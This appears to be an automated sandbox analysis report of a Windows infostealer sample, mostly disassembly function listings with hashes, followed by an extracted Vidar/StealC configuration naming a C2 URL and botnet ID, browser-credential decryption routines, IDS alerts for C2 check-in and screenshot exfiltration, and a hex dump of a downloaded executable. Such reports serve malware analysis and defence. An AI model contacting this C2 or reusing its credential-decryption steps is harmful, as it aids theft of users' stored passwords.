Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 5299469bdcac19abb2207cd15b878f3319cc5d251d24717e07568ba4c25ab20d
Instruction ID: 0fc2306d53fd78937370fec506979d9ec769978bc22e787e85044b96040e5a7a
Opcode Fuzzy Hash: 5299469bdcac19abb2207cd15b878f3319cc5d251d24717e07568ba4c25ab20d
Instruction Fuzzy Hash: 7401F776A042486BEF303B66ED49E557778EB5731DF484671EC0C92A02EB23A454C6F1

Function 6C7FCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C7FCC61
free.MOZGLUE ref: 6C7FCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C7FCC80
free.MOZGLUE(?), ref: 6C7FCC87

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ad8df642da710171fb87f9513a40ad39a41d1d331087eac071a75598ba26f723
Instruction ID: c2e1b50276e5cff0a8ba4a40496ac8c6f898684573aaa9117bc01f087383c601
Opcode Fuzzy Hash: ad8df642da710171fb87f9513a40ad39a41d1d331087eac071a75598ba26f723
Instruction Fuzzy Hash: EDE030B6700618ABCA20EFA9DC4488677ACEE492743150A35E695C3701D231F905CBE1

Function 6C7AA8DC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6C7AA8EE
GetCurrentThreadId.KERNEL32 ref: 6C7AA8FD
GetCurrentProcessId.KERNEL32 ref: 6C7AA906
QueryPerformanceCounter.KERNEL32(?), ref: 6C7AA913

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8ae0de4e8c0e4da7248584f4aa26d71ac8dde87b1fcc325e815783cbd14d7367
Instruction ID: c8a19692a46b79ce7b5c6eedced96a1d30187b8e36fcd8d568be5dabf3a93509
Opcode Fuzzy Hash: 8ae0de4e8c0e4da7248584f4aa26d71ac8dde87b1fcc325e815783cbd14d7367
Instruction Fuzzy Hash: 0FF0AF71E10209EBCF10EBF4C689A9EBBF8EF18205F5189A59402E7141DB34AB04CF90

Function 6C734D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C734D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C734DE6

Strings

%d.%d, xrefs: 6C734DDE

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: be53e8ce9db8cd1a734fac52e6322a7ae80b8bc1b31b6d9df7e4c33a44c3b058
Instruction ID: 4cbfc1bf559b704421d5a96b4c991cc7a74d918265d69d7bce0b39711bc59669
Opcode Fuzzy Hash: be53e8ce9db8cd1a734fac52e6322a7ae80b8bc1b31b6d9df7e4c33a44c3b058
Instruction Fuzzy Hash: 36310EB2D042296BEB145B619D06BFF7B68DF40308F050429ED1997782EB319909C7E1

Function 6C603CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603D19
mozalloc_abort.MOZGLUE(?), ref: 6C603D6C

Strings

d, xrefs: 6C603D58

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction ID: ea224d0d47a03b3e3ecc10e0dc7ee2d9f7926f2adc587a984dd2c89338b3450c
Opcode Fuzzy Hash: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction Fuzzy Hash: D4110431F04688DBDB08DF6AC9548EDB7B5EF86319F44D228DC49A7642FB30A584C358

Function 6C754CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ul,00000000,00000000,?,?,6C753827,?,00000000), ref: 6C754D0A

Part of subcall function 6C740840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7408B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C754D22

Part of subcall function 6C73FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C6E1A3E,00000048,00000054), ref: 6C73FD56

Strings

'8ul, xrefs: 6C754D07

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ul
API String ID: 1521942269-546659443
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e3703bb7bd39fa14e4aa04f12eb1c106f72c81bb23d9b6b5683d9d2fc599e12d
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FAF09C32A0132457DB104F6AAE4574336DC9B4167DF5402B1DE18CB791EA71CC30D6D1

Function 6C77AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C77AF78

Part of subcall function 6C6DACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DACE2
Part of subcall function 6C6DACC0: malloc.MOZGLUE(00000001), ref: 6C6DACEC
Part of subcall function 6C6DACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6DAD02
Part of subcall function 6C6DACC0: TlsGetValue.KERNEL32 ref: 6C6DAD3C
Part of subcall function 6C6DACC0: calloc.MOZGLUE(00000001,?), ref: 6C6DAD8C
Part of subcall function 6C6DACC0: PR_Unlock.NSS3 ref: 6C6DADC0
Part of subcall function 6C6DACC0: PR_Unlock.NSS3 ref: 6C6DAE8C
Part of subcall function 6C6DACC0: free.MOZGLUE(?), ref: 6C6DAEAB

memcpy.VCRUNTIME140(6C843084,6C8402AC,00000090), ref: 6C77AF94

Strings

SSL, xrefs: 6C77AF73

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: b0359fded3dd79490c8901648b65d32dfd446c52cf79a00f877a53cba68a9b89
Instruction ID: 3f15a324e7ee46e38bebdb7b24c2078b6a2e6304bab5dbf64ce442dc833582d3
Opcode Fuzzy Hash: b0359fded3dd79490c8901648b65d32dfd446c52cf79a00f877a53cba68a9b89
Instruction Fuzzy Hash: 80214AB2205B4C9ADF34FF51AA4B7527AB4B31624FF20D228C1280BB24D7316858DFE5

Function 6C6EC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]nl,6C6E6499,-00000078,00000000,?,?,]nl,?,6C6E5DEF,?), ref: 6C6EC821

Part of subcall function 6C6E1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6E1E0B
Part of subcall function 6C6E1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6E1E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]nl,?,6C6E5DEF,?,?,?), ref: 6C6EC857

Strings

]nl, xrefs: 6C6EC810

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]nl
API String ID: 221937774-4030846927
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 9ae2fb1572c202e0e015d528adc9a8fb31eadccfdd5cb7a930092e0ce26ea89e
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: 83F0A773A0651877EF0129656C04AFF3E59DF8A259F040032FE15D6741F722C92587ED

Function 6C5D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C42

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C58

Strings

0K`l, xrefs: 6C5D6C33, 6C5D6C41, 6C5D6C57

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K`l
API String ID: 1967447596-2354643784
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eadacf5e47c3d45c033a75d1978b4625e691ca2ddcea51c646d783483cb848f6
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 60E026F1A113004ADB08D8BCAC0952A72C8CB342A87054E35E822C2BE8FF14F8418059

Function 6C6D0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F1B

Part of subcall function 6C6D1370: GetSystemInfo.KERNEL32(?,?,?,?,6C6D0936,?,6C6D0F20,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000), ref: 6C6D138F

PR_NewLogModule.NSS3(clock,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F25

Part of subcall function 6C6D1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C6D0936,00000001,00000040), ref: 6C6D1130
Part of subcall function 6C6D1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D0936,00000001,00000040), ref: 6C6D1142
Part of subcall function 6C6D1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D0936,00000001), ref: 6C6D1167

Strings

clock, xrefs: 6C6D0F20

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 0c6a42896dbe4640fe9b7a783c2324dba6b43a4383a189965ae9577216e57a7c
Instruction ID: ef9b86340bb3ece8cd95556fed257913fee2f1b1670f9db57631c70607be6842
Opcode Fuzzy Hash: 0c6a42896dbe4640fe9b7a783c2324dba6b43a4383a189965ae9577216e57a7c
Instruction Fuzzy Hash: 10D0123160814455C53176979C45B96B7ECC7C327EF128836E10881E104AA8B0DAD2ED

Function 6C740DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C740DF5
TlsGetValue.KERNEL32 ref: 6C740E2D
TlsGetValue.KERNEL32 ref: 6C740E58
TlsGetValue.KERNEL32 ref: 6C740E84

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 5d40d3ea5bc252c4cf017c1ba87735d1f9cc4e1d0831edf75dbc4b73beddcf67
Instruction ID: 2c25e24dfbcf0db980493a4a38211655fc7ec6d6dcc47404b4c40c370f1392f2
Opcode Fuzzy Hash: 5d40d3ea5bc252c4cf017c1ba87735d1f9cc4e1d0831edf75dbc4b73beddcf67
Instruction Fuzzy Hash: 1731D4B06443A18BDB207F78C684A597BB8BF5630CF12C67DD8988BA11DB34D4A5CB85

Function 6C740F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C6E2AF5,?,?,?,?,?,6C6E0A1B,00000000), ref: 6C740F1A
malloc.MOZGLUE(00000001), ref: 6C740F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C740F42
TlsGetValue.KERNEL32 ref: 6C740F5B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 4d34a93e8ac7d766ac46bfd9933be772da86319a726d6e8033a3bd1e172b50ef
Instruction ID: ea49a8c0e47930869b51a791842b5ca0f1303028c4c537095fb148120259c7cb
Opcode Fuzzy Hash: 4d34a93e8ac7d766ac46bfd9933be772da86319a726d6e8033a3bd1e172b50ef
Instruction Fuzzy Hash: C001DDB1A5025457E72027399F489567AACEF6225DB014631EC1CC7A21E730D855C5E2

Source: Eae0KTw4m1.exe	Malware Configuration Extractor: Vidar {"C2 url": "http://178.63.215.77/031d77089be01fd8.php", "Botnet": "7140196255"}
Source: 0.2.Eae0KTw4m1.exe.720000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://178.63.215.77/031d77089be01fd8.php", "Botnet": "7140196255"}

Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00729B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00729B60
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_0072C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0072C820
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00727240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00727240
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00729AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00729AC0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_00738EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00738EA0
Source: C:\Users\user\Desktop\Eae0KTw4m1.exe	Code function: 0_2_6C5D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5D6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 178.63.215.77:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 178.63.215.77:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 178.63.215.77:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 178.63.215.77:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 178.63.215.77:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 178.63.215.77:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49730 -> 178.63.215.77:80

Source: Malware configuration extractor	URLs: http://178.63.215.77/031d77089be01fd8.php
Source: Malware configuration extractor	URLs: http://178.63.215.77/031d77089be01fd8.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 12 Oct 2024 12:17:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 